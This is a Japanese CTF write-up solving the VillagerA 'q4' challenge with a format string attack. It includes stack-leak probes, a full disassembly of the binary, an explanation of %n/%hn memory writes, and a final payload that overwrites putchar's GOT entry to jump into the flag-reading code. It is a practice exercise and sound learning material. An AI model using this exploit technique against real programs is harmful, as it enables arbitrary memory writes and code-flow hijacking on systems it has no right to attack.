常設ctfのVillagerA(村人A)がpwnの登竜門とのことでやってみた。
この問題はformat string attack(書式指定文字列攻撃)というテクニックを使う。
かなり勉強になったので、忘れないようにメモ。
自分が思い出せる事に重点を置いて書いたので、判りにくと思うww
SSHでログインすると以下のような感じ。
flag.txtはpermissionではじかれる。q4の脆弱性をついて、flag.txtを参照すればフラグゲット。
q4を動かす
[q4@localhost ~]$ ./q4 What's your name? mah Hi, mah Do you want the flag? yes Do you want the flag? yes Do you want the flag? yes Do you want the flag? no I see. Good bye. [q4@localhost ~]$ ./q4 What's your name? ABCD,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x Hi, ABCD,00000400,003568c0,00000008,00000014,00904fc4,44434241,3830252c,30252c78,252c7838
引数%08xに対して、反応し、16進数も文字列を返している。
6個目の%08xで返した”44434241″は”ABCD”である。(リトルエンディアン表記)
この事から、format string attack (以下、FSAと省略)が有効であることが判る。詳しくはこちらで。
6個目の%08xで返した”44434241″は”ABCD”である。
値と、6個目の引数を表示するには以下のように入力する。
[q4@localhost ~]$ echo -e "ABCD%6\$08x" | ./q4 What's your name? Hi, ABCD44434241
次は逆アセンブル。
[q4@localhost ~]$ objdump -d q4 q4: file format elf32-i386 Disassembly of section .init: 08048424 <_init>: 8048424: 55 push %ebp 8048425: 89 e5 mov %esp,%ebp 8048427: 53 push %ebx 8048428: 83 ec 04 sub $0x4,%esp 804842b: e8 00 00 00 00 call 8048430 <_init+0xc> 8048430: 5b pop %ebx 8048431: 81 c3 a0 15 00 00 add $0x15a0,%ebx 8048437: 8b 93 fc ff ff ff mov -0x4(%ebx),%edx 804843d: 85 d2 test %edx,%edx 804843f: 74 05 je 8048446 <_init+0x22> 8048441: e8 1e 00 00 00 call 8048464 <__gmon_start__@plt> 8048446: e8 45 01 00 00 call 8048590 <frame_dummy> 804844b: e8 00 03 00 00 call 8048750 <__do_global_ctors_aux> 8048450: 58 pop %eax 8048451: 5b pop %ebx 8048452: c9 leave 8048453: c3 ret Disassembly of section .plt: 08048454 <__gmon_start__@plt-0x10>: 8048454: ff 35 d4 99 04 08 pushl 0x80499d4 804845a: ff 25 d8 99 04 08 jmp *0x80499d8 8048460: 00 00 add %al,(%eax) ... 08048464 <__gmon_start__@plt>: 8048464: ff 25 dc 99 04 08 jmp *0x80499dc 804846a: 68 00 00 00 00 push $0x0 804846f: e9 e0 ff ff ff jmp 8048454 <_init+0x30> 08048474 <putchar@plt>: 8048474: ff 25 e0 99 04 08 jmp *0x80499e0 ・・・・・・・② 804847a: 68 08 00 00 00 push $0x8 804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30> 08048484 <fgets@plt>: 8048484: ff 25 e4 99 04 08 jmp *0x80499e4 804848a: 68 10 00 00 00 push $0x10 804848f: e9 c0 ff ff ff jmp 8048454 <_init+0x30> 08048494 <__libc_start_main@plt>: 8048494: ff 25 e8 99 04 08 jmp *0x80499e8 804849a: 68 18 00 00 00 push $0x18 804849f: e9 b0 ff ff ff jmp 8048454 <_init+0x30> 080484a4 <fopen@plt>: 80484a4: ff 25 ec 99 04 08 jmp *0x80499ec 80484aa: 68 20 00 00 00 push $0x20 80484af: e9 a0 ff ff ff jmp 8048454 <_init+0x30> 080484b4 <printf@plt>: 80484b4: ff 25 f0 99 04 08 jmp *0x80499f0 80484ba: 68 28 00 00 00 push $0x28 80484bf: e9 90 ff ff ff jmp 8048454 <_init+0x30> 080484c4 <puts@plt>: 80484c4: ff 25 f4 99 04 08 jmp *0x80499f4 80484ca: 68 30 00 00 00 push $0x30 80484cf: e9 80 ff ff ff jmp 8048454 <_init+0x30> 080484d4 <__gxx_personality_v0@plt>: 80484d4: ff 25 f8 99 04 08 jmp *0x80499f8 80484da: 68 38 00 00 00 push $0x38 80484df: e9 70 ff ff ff jmp 8048454 <_init+0x30> 080484e4 <strcmp@plt>: 80484e4: ff 25 fc 99 04 08 jmp *0x80499fc 80484ea: 68 40 00 00 00 push $0x40 80484ef: e9 60 ff ff ff jmp 8048454 <_init+0x30> Disassembly of section .text: 08048500 <_start>: 8048500: 31 ed xor %ebp,%ebp 8048502: 5e pop %esi 8048503: 89 e1 mov %esp,%ecx 8048505: 83 e4 f0 and $0xfffffff0,%esp 8048508: 50 push %eax 8048509: 54 push %esp 804850a: 52 push %edx 804850b: 68 e0 86 04 08 push $0x80486e0 8048510: 68 f0 86 04 08 push $0x80486f0 8048515: 51 push %ecx 8048516: 56 push %esi 8048517: 68 b4 85 04 08 push $0x80485b4 804851c: e8 73 ff ff ff call 8048494 <__libc_start_main@plt> 8048521: f4 hlt 8048522: 90 nop 8048523: 90 nop 8048524: 90 nop 8048525: 90 nop 8048526: 90 nop 8048527: 90 nop 8048528: 90 nop 8048529: 90 nop 804852a: 90 nop 804852b: 90 nop 804852c: 90 nop 804852d: 90 nop 804852e: 90 nop 804852f: 90 nop 08048530 <__do_global_dtors_aux>: 8048530: 55 push %ebp 8048531: 89 e5 mov %esp,%ebp 8048533: 53 push %ebx 8048534: 8d 64 24 fc lea -0x4(%esp),%esp 8048538: 80 3d 08 9a 04 08 00 cmpb $0x0,0x8049a08 804853f: 75 3e jne 804857f <__do_global_dtors_aux+0x4f> 8048541: bb e4 98 04 08 mov $0x80498e4,%ebx 8048546: a1 0c 9a 04 08 mov 0x8049a0c,%eax 804854b: 81 eb e0 98 04 08 sub $0x80498e0,%ebx 8048551: c1 fb 02 sar $0x2,%ebx 8048554: 83 eb 01 sub $0x1,%ebx 8048557: 39 d8 cmp %ebx,%eax 8048559: 73 1d jae 8048578 <__do_global_dtors_aux+0x48> 804855b: 90 nop 804855c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8048560: 83 c0 01 add $0x1,%eax 8048563: a3 0c 9a 04 08 mov %eax,0x8049a0c 8048568: ff 14 85 e0 98 04 08 call *0x80498e0(,%eax,4) 804856f: a1 0c 9a 04 08 mov 0x8049a0c,%eax 8048574: 39 d8 cmp %ebx,%eax 8048576: 72 e8 jb 8048560 <__do_global_dtors_aux+0x30> 8048578: c6 05 08 9a 04 08 01 movb $0x1,0x8049a08 804857f: 8d 64 24 04 lea 0x4(%esp),%esp 8048583: 5b pop %ebx 8048584: 5d pop %ebp 8048585: c3 ret 8048586: 8d 76 00 lea 0x0(%esi),%esi 8048589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 08048590 <frame_dummy>: 8048590: 55 push %ebp 8048591: 89 e5 mov %esp,%ebp 8048593: 8d 64 24 e8 lea -0x18(%esp),%esp 8048597: a1 e8 98 04 08 mov 0x80498e8,%eax 804859c: 85 c0 test %eax,%eax 804859e: 74 12 je 80485b2 <frame_dummy+0x22> 80485a0: b8 00 00 00 00 mov $0x0,%eax 80485a5: 85 c0 test %eax,%eax 80485a7: 74 09 je 80485b2 <frame_dummy+0x22> 80485a9: c7 04 24 e8 98 04 08 movl $0x80498e8,(%esp) 80485b0: ff d0 call *%eax 80485b2: c9 leave 80485b3: c3 ret 080485b4 <main>: 80485b4: 55 push %ebp 80485b5: 89 e5 mov %esp,%ebp 80485b7: 83 e4 f0 and $0xfffffff0,%esp 80485ba: 81 ec 20 04 00 00 sub $0x420,%esp 80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp) 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax 80485d1: 89 44 24 08 mov %eax,0x8(%esp) 80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80485dc: 00 80485dd: 8d 44 24 18 lea 0x18(%esp),%eax 80485e1: 89 04 24 mov %eax,(%esp) 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp) 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea 0x18(%esp),%eax 80485f9: 89 04 24 mov %eax,(%esp) 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> 8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> 804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp) 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp) 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov 0x8049a04,%eax 804862b: 89 44 24 08 mov %eax,0x8(%esp) 804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 8048636: 00 8048637: 8d 44 24 18 lea 0x18(%esp),%eax 804863b: 89 04 24 mov %eax,(%esp) 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test %eax,%eax 8048645: 0f 94 c0 sete %al 8048648: 84 c0 test %al,%al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov $0x0,%eax 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp) 804865d: 08 804865e: 8d 44 24 18 lea 0x18(%esp),%eax 8048662: 89 04 24 mov %eax,(%esp) 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test %eax,%eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp) 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov $0x0,%eax 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax 8048688: 85 c0 test %eax,%eax 804868a: 0f 95 c0 setne %al 804868d: 84 c0 test %al,%al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp) 8048698: 08 8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp) 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> ・・・・・① 80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp) 80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax 80486b3: 89 44 24 08 mov %eax,0x8(%esp) 80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80486be: 00 80486bf: 8d 44 24 18 lea 0x18(%esp),%eax 80486c3: 89 04 24 mov %eax,(%esp) 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea 0x18(%esp),%eax 80486cf: 89 04 24 mov %eax,(%esp) 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov $0x0,%eax 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop 080486e0 <__libc_csu_fini>: 80486e0: 55 push %ebp 80486e1: 89 e5 mov %esp,%ebp 80486e3: 5d pop %ebp 80486e4: c3 ret 80486e5: 66 66 2e 0f 1f 84 00 data32 nopw %cs:0x0(%eax,%eax,1) 80486ec: 00 00 00 00 080486f0 <__libc_csu_init>: 80486f0: 55 push %ebp 80486f1: 89 e5 mov %esp,%ebp 80486f3: 57 push %edi 80486f4: 56 push %esi 80486f5: 53 push %ebx 80486f6: e8 4f 00 00 00 call 804874a <__i686.get_pc_thunk.bx> 80486fb: 81 c3 d5 12 00 00 add $0x12d5,%ebx 8048701: 83 ec 1c sub $0x1c,%esp 8048704: e8 1b fd ff ff call 8048424 <_init> 8048709: 8d bb 08 ff ff ff lea -0xf8(%ebx),%edi 804870f: 8d 83 08 ff ff ff lea -0xf8(%ebx),%eax 8048715: 29 c7 sub %eax,%edi 8048717: c1 ff 02 sar $0x2,%edi 804871a: 85 ff test %edi,%edi 804871c: 74 24 je 8048742 <__libc_csu_init+0x52> 804871e: 31 f6 xor %esi,%esi 8048720: 8b 45 10 mov 0x10(%ebp),%eax 8048723: 89 44 24 08 mov %eax,0x8(%esp) 8048727: 8b 45 0c mov 0xc(%ebp),%eax 804872a: 89 44 24 04 mov %eax,0x4(%esp) 804872e: 8b 45 08 mov 0x8(%ebp),%eax 8048731: 89 04 24 mov %eax,(%esp) 8048734: ff 94 b3 08 ff ff ff call *-0xf8(%ebx,%esi,4) 804873b: 83 c6 01 add $0x1,%esi 804873e: 39 fe cmp %edi,%esi 8048740: 72 de jb 8048720 <__libc_csu_init+0x30> 8048742: 83 c4 1c add $0x1c,%esp 8048745: 5b pop %ebx 8048746: 5e pop %esi 8048747: 5f pop %edi 8048748: 5d pop %ebp 8048749: c3 ret 0804874a <__i686.get_pc_thunk.bx>: 804874a: 8b 1c 24 mov (%esp),%ebx 804874d: c3 ret 804874e: 90 nop 804874f: 90 nop 08048750 <__do_global_ctors_aux>: 8048750: 55 push %ebp 8048751: 89 e5 mov %esp,%ebp 8048753: 53 push %ebx 8048754: 8d 64 24 fc lea -0x4(%esp),%esp 8048758: a1 d8 98 04 08 mov 0x80498d8,%eax 804875d: 83 f8 ff cmp $0xffffffff,%eax 8048760: 74 12 je 8048774 <__do_global_ctors_aux+0x24> 8048762: bb d8 98 04 08 mov $0x80498d8,%ebx 8048767: 90 nop 8048768: 8d 5b fc lea -0x4(%ebx),%ebx 804876b: ff d0 call *%eax 804876d: 8b 03 mov (%ebx),%eax 804876f: 83 f8 ff cmp $0xffffffff,%eax 8048772: 75 f4 jne 8048768 <__do_global_ctors_aux+0x18> 8048774: 8d 64 24 04 lea 0x4(%esp),%esp 8048778: 5b pop %ebx 8048779: 5d pop %ebp 804877a: c3 ret 804877b: 90 nop Disassembly of section .fini: 0804877c <_fini>: 804877c: 55 push %ebp 804877d: 89 e5 mov %esp,%ebp 804877f: 53 push %ebx 8048780: 83 ec 04 sub $0x4,%esp 8048783: e8 00 00 00 00 call 8048788 <_fini+0xc> 8048788: 5b pop %ebx 8048789: 81 c3 48 12 00 00 add $0x1248,%ebx 804878f: e8 9c fd ff ff call 8048530 <__do_global_dtors_aux> 8048794: 59 pop %ecx 8048795: 5b pop %ebx 8048796: c9 leave 8048797: c3 ret
215行目でファイルをオープンしている。
おそらく、”Do you want the flag?”に対する正解を応えればflag.txtが出る仕組みと推測。
FSAは任意の位置のメモリを書き換えてくれる。
どこかの呼び出される値をfopenの少し前の0x08048691に書き換える事でフラグをとれるハズ。
main関数を読み返す。上から読んでいくと41行目で示した0x08048474のジャンプ先0x080499e0が使えそう。
で、どうするか。
ググった結果、以下が判った。ももいろテクノロジーさんから引用
- %s指定子は対応する引数で指定されたアドレスが指す文字列を出力する。
つまり、AAAAの部分に読み出したいアドレスをセットした上で%10$sを指定すれば、
任意のアドレスからnullバイトが現れるまでのメモリ内容を出力させることができる。 - AAAAの代わりに書き換えたいアドレスをセットし、
%100cなどで適当な数(ここでは100)だけ文字を出力した上で
%10$nを指定すれば、そのアドレスにあるメモリ4バイトを任意の値に書き換えることができる。
たとえば、0xaabbccddからの4バイトを11 00 00 00 (=17) に書き換えるには次のようにする。$ ./a.out $’\xdd\xcc\xbb\xaa%13c%10\$n’
[+] buf = 0xbffff6f8
Segmentation fault (core dumped)先頭のアドレス指定ですでに4バイト出力しているので%cで出力させる文字数には目的の数から4引いた数を指定する。
- 上の方法で4バイト書き換えるとき、文字数をそのまま指定する
と大量の文字を出力することになり時間がかかる。
そこで、先頭から1バイトずつ4回に分けて書き換える方法が取られる。
また、%nの代わりに%hnを使うと2バイト、%hhnを使うと1バイトのみの書き換えにすることができる。
ここで出力文字数が書き換えられるバイト長を越えた場合については、上位のバイトが無視される。
上記3つが注意点。1バイトずつやるのもとても長くなるでしょ。
2バイトずつ2回に分けて%nを使ってみる。
参照元は書き換え先がひとつだが、今回は2回にわけるので、書き換え先も2つになる。
一つ目の書き換え先から2バイト入力し、続けて2バイト入力するので、
一つ目の書き換え先と2つ目の書き換え先は2バイトずれる。
つまり以下となる。
0x080499e0 と 0x80499e2
上記の書き換え先を参照先に習って(リトルエンディアンを考慮)変換すると以下となる。
\xe0\x99\x04\x08\xe2\x99\x04\x08
次は書き換え元である。
2回にわけるから引数も2つ必要である。
%6\$hn と %7\$hn が引数の後方にくる。
これの前に2バイトずつ 0x08048691 をそのまま分けて書けばよいわけでは無いようだ。
まず、”\xe0\x99\x04\x08\xe2\x99\x04\x08″で8バイト使用しているので、8バイト分 引く必要がある。
0x08048691 – 8 = 0x08048689
2バイトずつわけるので
0x0804 0x8689
リトルエンディアンなので、前半が”%7\$hn “に後半が”%6\$hn “になる。
%7\$hnの前部分の表記はさらにオフセットを考慮しなければならない。
今回の場合、以下の式になる。
0x0804 + 0x10000 – 0x8689 – 0x08 = 0x8173
そこからさらに10進数に直す(←なぜかはよくわかってないw)
0x8689 → 34441
0x8173 → 33139
つまり、引数の部分は以下となる。
%34441c%6\$hn%33139c%7\$hn
よって、以下を入力すればよい。
echo -e “\xe0\x99\x04\x08\xe2\x99\x04\x08%34441c%6\$hn%33139c%7\$hn” | ./q4
疲れた。。nopでジャンプ命令書き換えとかの方が速そうだと思ったが、sshログインだとできないのかなぁ。。